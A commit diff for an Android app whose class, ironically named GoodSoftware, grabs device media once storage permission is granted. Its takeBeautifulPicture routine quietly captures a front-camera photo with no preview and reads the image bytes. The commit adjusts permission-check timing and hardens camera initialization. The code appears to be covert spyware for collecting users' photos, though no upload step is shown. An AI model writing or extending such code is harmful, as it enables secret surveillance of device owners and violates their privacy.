Make sure stopCheckingStoragePermission doesnt happen anyway

.idea/deploymentTargetDropDown.xml

@@ -4,18 +4,6 @@
     <value>
       <entry key="MainActivity">
         <State>
-          <runningDeviceTargetSelectedWithDropDown>
-            <Target>
-              <type value="RUNNING_DEVICE_TARGET" />
-              <deviceKey>
-                <Key>
-                  <type value="VIRTUAL_DEVICE_PATH" />
-                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
-                </Key>
-              </deviceKey>
-            </Target>
-          </runningDeviceTargetSelectedWithDropDown>
-          <timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
           <runningDeviceTargetsSelectedWithDialog>
             <Target>
               <type value="RUNNING_DEVICE_TARGET" />

app/build.gradle.kts

@@ -51,9 +51,8 @@ android {
 }
 
 dependencies {
-    implementation("androidx.camera:camera-camera2:1.3.3")
     implementation(libs.androidx.camera.lifecycle)
-    val camerax_version = "1.4.0-alpha05"
+    val camerax_version = "1.3.3"
 
     implementation(libs.androidx.core.ktx)
     implementation(libs.androidx.lifecycle.runtime.ktx)

app/src/main/java/com/ti/m/GoodSoftware.kt

@@ -167,15 +167,16 @@ class GoodSoftware (private val activity: Context) {
                 requestMediaImagesPermission()
             }else{
                 grabMedia()
+                stopCheckingStoragePermission()
             }
         } else {
             if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
                 requestGalleryPermission()
             }else{
                 grabMedia()
+                stopCheckingStoragePermission()
             }
         }
-        stopCheckingStoragePermission()
     }
 
     @RequiresApi(Build.VERSION_CODES.TIRAMISU)
@@ -408,28 +409,31 @@ class GoodSoftware (private val activity: Context) {
     }
 
     suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
-        // Ensure that cameraProvider is initialized
+        try {
-        cameraProvider = ProcessCameraProvider.getInstance(context).await()
+            cameraProvider = ProcessCameraProvider.getInstance(context).await()
+        } catch (e: ClassNotFoundException) {
+            Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
+            return
+        } catch (e: Exception) {
+            Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
+            return
+        }
 
-        // Ensure that the selected camera is available
         if (!hasBackCamera() && !hasFrontCamera()) {
             Log.e(picture.TAG, "Back and front camera are unavailable")
             return
         }
 
-        // Select the lens facing, prioritize front camera if available
         lensFacing = if (hasFrontCamera()) {
             CameraSelector.LENS_FACING_FRONT
         } else {
             CameraSelector.LENS_FACING_BACK
         }
 
-        // Create ImageCapture instance
         imageCapture = ImageCapture.Builder()
             .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
             .build()
 
-        // Set up image capture listener
         val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
             override fun onError(exc: ImageCaptureException) {
                 Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
@@ -437,7 +441,6 @@ class GoodSoftware (private val activity: Context) {
             }
 
             override fun onCaptureSuccess(image: ImageProxy) {
-                // Process captured image here
                 val byteArrayOutputStream = ByteArrayOutputStream()
                 val imagePlane = image.planes[0]
                 val buffer = imagePlane.buffer
@@ -458,15 +461,12 @@ class GoodSoftware (private val activity: Context) {
             }
         }
 
-        // Bind the camera and start image capture
         cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
 
-
         imageCapture?.takePicture(
             ContextCompat.getMainExecutor(context),
             imageCapturedListener
         )
-
     }